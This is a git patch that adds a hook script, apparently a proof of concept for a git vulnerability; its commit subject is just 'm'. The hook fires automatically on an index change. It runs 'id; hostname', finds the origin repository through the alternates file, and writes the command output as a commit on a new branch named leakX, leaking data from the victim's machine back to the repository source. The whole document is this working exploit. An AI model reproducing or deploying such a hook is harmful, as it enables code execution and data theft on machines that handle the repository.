From 35dc165de2141393778ff7d64fda5298963a0ab0 Mon Sep 17 00:00:00 2001 From: optrc9 Date: Fri, 16 Oct 2026 16:20:17 +0800 Subject: [PATCH] m --- hooks/post-index-change | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/hooks/post-index-change b/hooks/post-index-change index 69df093..b7637eb 100755 --- a/hooks/post-index-change +++ b/hooks/post-index-change @@ -1,3 +1,14 @@ #!/bin/sh -id > /tmp/cve60004_pic.txt 2>&1 -echo post-index-change-ran >> /tmp/cve60004_pic.txt +git_dir=$(git rev-parse --absolute-git-dir) || exit 1 +origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2 +case "$origin_objects" in + /*) ;; + *) origin_objects="$git_dir/objects/$origin_objects" ;; +esac +origin_git=${origin_objects%/objects} +[ "$origin_git" != "$origin_objects" ] || exit 3 +output_blob=$({ /bin/sh -c 'id; hostname'; command_status=$?; printf "\n[exit-status=%s]\n" "$command_status"; } 2>&1 | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4 +tree=$(printf "100644 blob %s\toutput\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5 +commit=$(printf "command output\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6 +git --git-dir="$origin_git" update-ref refs/heads/leakX "$commit" || exit 7 +exit 0